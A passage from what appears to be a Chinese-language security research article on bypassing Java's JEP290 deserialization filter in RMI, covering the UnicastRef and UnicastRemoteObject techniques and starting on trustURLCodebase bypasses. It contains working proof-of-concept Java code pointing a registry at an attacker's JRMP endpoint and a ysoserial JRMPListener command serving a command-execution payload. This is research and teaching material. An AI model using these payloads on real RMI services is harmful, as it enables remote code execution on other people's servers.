0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">executeCall</code>方法，通过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getInputStream</code>方法从<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">conn</code>属性获取输入流赋值给<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">in</code>属性，然后从输入流中获取一个字节赋给<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">var1</code>，进入switch语句中，为2则反序列化输入流。至此与UnicateRef绕过JEP290的流程就结束了。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">executeCall</span><span style="line-height: 26px;">()</span> <span style="color: #c678dd;line-height: 26px;">throws</span> Exception </span>{<br/>    DGCAckHandler var2 = <span style="color: #c678dd;line-height: 26px;">null</span>;<br/>    <span style="color: #c678dd;line-height: 26px;">byte</span> var1;<br/>    <span style="color: #c678dd;line-height: 26px;">try</span> {<br/>        ...<br/>        <span style="color: #c678dd;line-height: 26px;">this</span>.getInputStream();<br/>        var1 = <span style="color: #c678dd;line-height: 26px;">this</span>.in.readByte();<br/>        <span style="color: #c678dd;line-height: 26px;">this</span>.in.readID();<br/>    } <span style="color: #c678dd;line-height: 26px;">catch</span> (UnmarshalException var11) {<br/>  ...<br/>    }<br/>    <span style="color: #c678dd;line-height: 26px;">switch</span>(var1) {<br/>    <span style="color: #c678dd;line-height: 26px;">case</span> <span style="color: #d19a66;line-height: 26px;">1</span>:<br/>        <span style="color: #c678dd;line-height: 26px;">return</span>;<br/>    <span style="color: #c678dd;line-height: 26px;">case</span> <span style="color: #d19a66;line-height: 26px;">2</span>:<br/>        Object var14;<br/>        <span style="color: #c678dd;line-height: 26px;">try</span> {<br/>            var14 = <span style="color: #c678dd;line-height: 26px;">this</span>.in.readObject();<br/>        } <span style="color: #c678dd;line-height: 26px;">catch</span> (Exception var10) {<br/>            <span style="color: #c678dd;line-height: 26px;">throw</span> <span style="color: #c678dd;line-height: 26px;">new</span> UnmarshalException(<span style="color: #98c379;line-height: 26px;">&#34;Error unmarshaling return&#34;</span>, var10);<br/>        }<br/> ...<br/> }<br/> ...<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">关于这个<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">var1</code>作用，查了AdoptOpenJDK的源码得知是JRMP协议中返回值的标记，正常返回值不会进行反序列化。UnicastRef绕过JEP290使用ysoserial中的JRMPlistener，其将报错返回改成反序列化的payload，实现命令执行。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.569327731092437" data-s="300,640" style="" data-type="png" data-w="476" src="https://wechat2rss.xlab.app/img-proxy/?k=129765f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6FaeZgiaFkxLAKbL99phYvib5g4bIJbhLoduV4oJcUiaMPGIfovFhadNFWvf0jU8EmzKAU4FynP1vlQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最后服务端的代码如下，相比正常的流程可以控制<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">LiveRef</code>指向恶意的服务端ip和端口。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">UnicastRefBypass</span> </span>{<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">static</span> <span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">main</span><span style="line-height: 26px;">(String[] args)</span> <span style="color: #c678dd;line-height: 26px;">throws</span> Exception </span>{<br/>        Registry reg = LocateRegistry.getRegistry(<span style="color: #98c379;line-height: 26px;">&#34;localhost&#34;</span>, <span style="color: #d19a66;line-height: 26px;">1009</span>);<br/>        ObjID id = <span style="color: #c678dd;line-height: 26px;">new</span> ObjID(<span style="color: #c678dd;line-height: 26px;">new</span> Random().nextInt());<br/>        TCPEndpoint te = <span style="color: #c678dd;line-height: 26px;">new</span> TCPEndpoint(<span style="color: #98c379;line-height: 26px;">&#34;10.91.33.139&#34;</span>, <span style="color: #d19a66;line-height: 26px;">3333</span>);<br/>        UnicastRef ref = <span style="color: #c678dd;line-height: 26px;">new</span> UnicastRef(<span style="color: #c678dd;line-height: 26px;">new</span> LiveRef(id, te, <span style="color: #c678dd;line-height: 26px;">false</span>));<br/>        RemoteObjectInvocationHandler obj = <span style="color: #c678dd;line-height: 26px;">new</span> RemoteObjectInvocationHandler(ref);<br/>        Registry proxy = (Registry) Proxy.newProxyInstance(UnicastRefBypass<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">getClassLoader</span>(), <span style="color: #e6c07b;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">Class</span>[]</span>{<br/>                Registry<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span><br/>        }, <span style="color: #e6c07b;line-height: 26px;">obj</span>)</span>;<br/>        reg.bind(<span style="color: #98c379;line-height: 26px;">&#34;UnicastRefBypass&#34;</span>, proxy);<br/>    }<br/>}<br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>4.2 UnicastRemoteObject类绕过<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在8u231的修复中，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.transport.DGCImpl_Stub#dirty</code>提前为输入流<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">filter</code>属性设置了过滤接口方法，在后续<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.transport.StreamRemoteCall#executeCall</code>中又捕获过滤接口方法抛出的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">InvalidClassException</code>异常，清空输入流中<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">incomingRefTable</code>属性的值。前者使得利用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">UnicastRef</code>类绕过方式在反序列化<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Exception</code>返回值时无法反序列化任意类。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.109720885466795" data-s="300,640" style="" data-type="png" data-w="1039" src="https://wechat2rss.xlab.app/img-proxy/?k=0cd9a776&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6FaeZgiaFkxLAKbL99phYvib6mMlvbCciag4RY8kjylM7qpq7TrAicpdnWzElAsoueojVy9sfiafgKWfQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">国外安全研究员An Trinh在8u231版本发布前提出的一种绕过方式，没有使用注册流程中注册中心发起连接到服务端的输入流，而是利用注册中心在反序列化服务端绑定的对象过程中发起JRMP请求，巧妙地绕过了过滤。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">先从直接反序列化构造的对象来复现下这个POC，首先用ysoserial起一个<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">JRMPListener </code>的exploit。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 <span style="color: #98c379;line-height: 26px;">&#34;calc&#34;</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然后再现在下面的POC反序列化。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">ObjID id = <span style="color: #c678dd;line-height: 26px;">new</span> ObjID(<span style="color: #c678dd;line-height: 26px;">new</span> Random().nextInt());<br/>TCPEndpoint te = <span style="color: #c678dd;line-height: 26px;">new</span> TCPEndpoint(<span style="color: #98c379;line-height: 26px;">&#34;127.0.0.1&#34;</span>, <span style="color: #d19a66;line-height: 26px;">3333</span>);<br/>UnicastRef ref = <span style="color: #c678dd;line-height: 26px;">new</span> UnicastRef(<span style="color: #c678dd;line-height: 26px;">new</span> LiveRef(id, te, <span style="color: #c678dd;line-height: 26px;">false</span>));<br/>RemoteObjectInvocationHandler obj = <span style="color: #c678dd;line-height: 26px;">new</span> RemoteObjectInvocationHandler(ref);<br/>RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(<br/>        RMIServerSocketFactory<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">getClassLoader</span>(),<br/>        <span style="color: #e6c07b;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">Class</span>[]</span>{RMIServerSocketFactory<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>, <span style="color: #e6c07b;line-height: 26px;">Remote</span>.<span style="color: #e6c07b;line-height: 26px;">class</span>},<br/>        <span style="color: #e6c07b;line-height: 26px;">obj</span><br/>)</span>;<br/>Constructor constructor = UnicastRemoteObject<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">getDeclaredConstructor</span>(<span style="color: #e6c07b;line-height: 26px;">null</span>)</span>;<br/>constructor.setAccessible(<span style="color: #c678dd;line-height: 26px;">true</span>);<br/>UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor.newInstance(<span style="color: #c678dd;line-height: 26px;">null</span>);<br/>Field field = UnicastRemoteObject<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">getDeclaredField</span>(&#34;<span style="color: #e6c07b;line-height: 26px;">ssf</span>&#34;)</span>;<br/>field.setAccessible(<span style="color: #c678dd;line-height: 26px;">true</span>);<br/>field.set(unicastRemoteObject, serverSocketFactory);<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">// Registry reg = LocateRegistry.getRegistry(&#34;localhost&#34;, 1009);</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">// reg.bind(&#34;Exploit&#34;, unicastRemoteObject);</span><br/>ByteArrayOutputStream byteArrayOutputStream = <span style="color: #c678dd;line-height: 26px;">new</span> ByteArrayOutputStream();<br/>ObjectOutputStream objectOutputStream = <span style="color: #c678dd;line-height: 26px;">new</span> ObjectOutputStream(byteArrayOutputStream);<br/>objectOutputStream.writeObject(unicastRemoteObject);<br/><span style="color: #c678dd;line-height: 26px;">byte</span>[] result = byteArrayOutputStream.toByteArray();<br/>ByteArrayInputStream byteArrayInputStream = <span style="color: #c678dd;line-height: 26px;">new</span> ByteArrayInputStream(result);<br/>ObjectInputStream objectInputStream = <span style="color: #c678dd;line-height: 26px;">new</span> ObjectInputStream(byteArrayInputStream);<br/>objectInputStream.readObject();<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">调用栈很长，先从<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">java.rmi.server.UnicastRemoteObject#reexport</code>方法开始。当<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">csf</code>或<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ssf</code>属性非空时，会用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">csf</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ssf</code>实例化一个<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">UnicastServerRef2</code>对象，并调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">UnicastServerRef2</code>父类<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">UnicastServerRef</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">exportObject</code>方法。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7461706783369803" data-s="300,640" style="" data-type="png" data-w="457" src="https://wechat2rss.xlab.app/img-proxy/?k=8764bdc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6FaeZgiaFkxLAKbL99phYvibVJFCs0fxFhlOOkrrpv3GMKpIvLfOrKpXsTtv9j2icZibbXAaX6dXsrhw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">UnicastServerRef</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">exportObject</code>方法就是实现监听端口的操作。后续精彩的部分来了，监听端口的操作会调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.transport.tcp.TCPEndpoint#newServerSocket</code>方法，其中会调用它的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ssf</code>属性的方法，这个<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ssf</code>属性与前面<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">UnicastRemoteObject</code>对象的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ssf</code>属性一致，是封装<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">RemoteObjectInvocationHandler</code>的代理类对象。由于代理类的特性，会先调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">RemoteObjectInvocationHandler</code>类的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">invoke</code>方法。再后面的调用栈与客户端调用远程方法的调用栈一致，也就是原本的注册中心变成了客户端，由于客户端没有启动JEP290设置，也就绕过了注册中心的JEP290限制。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3210412147505423" data-s="300,640" style="" data-type="png" data-w="461" src="https://wechat2rss.xlab.app/img-proxy/?k=14e9e514&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6FaeZgiaFkxLAKbL99phYvibZgBicArpPJLgEjNic1Ljcjh1r5tMSxibr0ghwKOlLpeELOVmpgYJGP84g%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">单在实际注册绑定的过程中，构造的类会在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">RegistryImpl_Stub</code>的bind方法中，序列化类的输出流<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ConnectionOutputStream</code>的父类<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">MarshalOutputStream</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">enableReplace</code>属性永为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">true</code>，代理类被替换为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">UnicastRef </code>造成利用链被破坏，所以实际利用中要想办法将<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">enableReplace</code>值改为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">false</code>。ysomap中有实现方法，感兴趣可以看一看。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4462962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=13038984&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6FaeZgiaFkxLAKbL99phYvibZicJMyQ7I8l34rgSKnsbvvkPKiaBM3dMBeqGGgiavJaCo9O5RGic47BcGA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>5、trustURLCodebase绕过</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">除了以上注册中心JEP290的限制之外，RMI中服务端对客户端的攻击：JNDI注入，使用rmi和ldap协议加载外部工厂类也先后受到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">trustURLCodebase</code>的限制，只能从本地工厂类实例化对象。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>5.1 本地工厂类绕过<span style="display: 